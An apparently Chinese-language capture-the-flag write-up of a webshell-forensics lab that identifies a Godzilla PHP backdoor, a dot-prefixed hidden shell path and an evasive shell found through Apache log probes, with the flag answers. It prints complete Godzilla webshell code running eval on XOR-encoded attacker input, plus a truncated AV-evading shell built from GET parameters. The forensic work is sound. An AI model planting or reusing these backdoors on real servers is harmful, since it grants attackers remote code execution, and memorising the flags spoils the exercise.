# 题目 1
黑客 webshell 里面的 flag flag {xxxxx-xxxx-xxxx-xxxx-xxxx}
下载下来直接被拦了,发现木马。
<?php | |
@session_start(); | |
@set_time_limit(0); | |
@error_reporting(0); | |
function encode($D,$K){ | |
for($i=0;$i<strlen($D);$i++) { | |
$c = $K[$i+1&15]; | |
$D[$i] = $D[$i]^$c; | |
} | |
return $D; | |
} | |
//027ccd04-5065-48b6-a32d-77c704a5e26d | |
$payloadName='payload'; | |
$key='3c6e0b8a9c15224a'; | |
$data=file_get_contents("php://input"); | |
if ($data!==false){ | |
$data=encode($data,$key); | |
if (isset($_SESSION[$payloadName])){ | |
$payload=encode($_SESSION[$payloadName],$key); | |
if (strpos($payload,"getBasicsInfo")===false){ | |
$payload=encode($payload,$key); | |
} | |
eval($payload); | |
echo encode(@run($data),$key); | |
}else{ | |
if (strpos($data,"getBasicsInfo")!==false){ | |
$_SESSION[$payloadName]=encode($data,$key); | |
} | |
} | |
} |
# 题目 2
黑客使用的什么工具的 shell github 地址的 md5 flag {md5}
通过木马特征得知是哥斯拉的马:Godzilla
root@ip-10-0-10-2:~# echo -n "https://github.com/BeichenDream/Godzilla" | md5sum | |
39392de3218c333f794befef07ac9257 - |
flag: flag{39392de3218c333f794befef07ac9257}
# 题目 3
黑客隐藏 shell 的完整路径的 md5 flag {md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
隐藏 shell 指的可能是前缀加了 .
的
root@ip-10-0-10-2:~# echo -n "/var/www/html/include/Db/.Mysqli.php" | md5sum | |
aebac0e58cd6c5fad1695ee4d1ac1919 - |
flag: flag{aebac0e58cd6c5fad1695ee4d1ac1919}
# 题目 4
黑客免杀马完整路径 md5 flag {md5}
root@ip-10-0-10-2:~# cat /var/log/apache2/access.log* | cut -d " " -f7 | sort | uniq | grep phpinfo | |
/data/tplcache/top.php?1=phpinfo(); | |
/wap/index.php?1=phpinfo(); | |
/wap/top.php?1=phpinfo(); | |
root@ip-10-0-10-2:~# echo -n "/var/www/html/wap/top.php" | md5sum | |
eeff2eabfd9b7a6d26fc1a53d3f7d1de - |
flag: flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
免杀马:
<?php | |
$key = "password"; | |
//ERsDHgEUC1hI | |
$fun = base64_decode($_GET['func']); | |
for($i=0;$i<strlen($fun);$i++){ | |
$fun[$i] = $fun[$i]^$key[$i+1&7]; | |
} | |
$a = "a"; | |
$s = "s"; | |
$c=$a.$s.$_GET["func2"]; |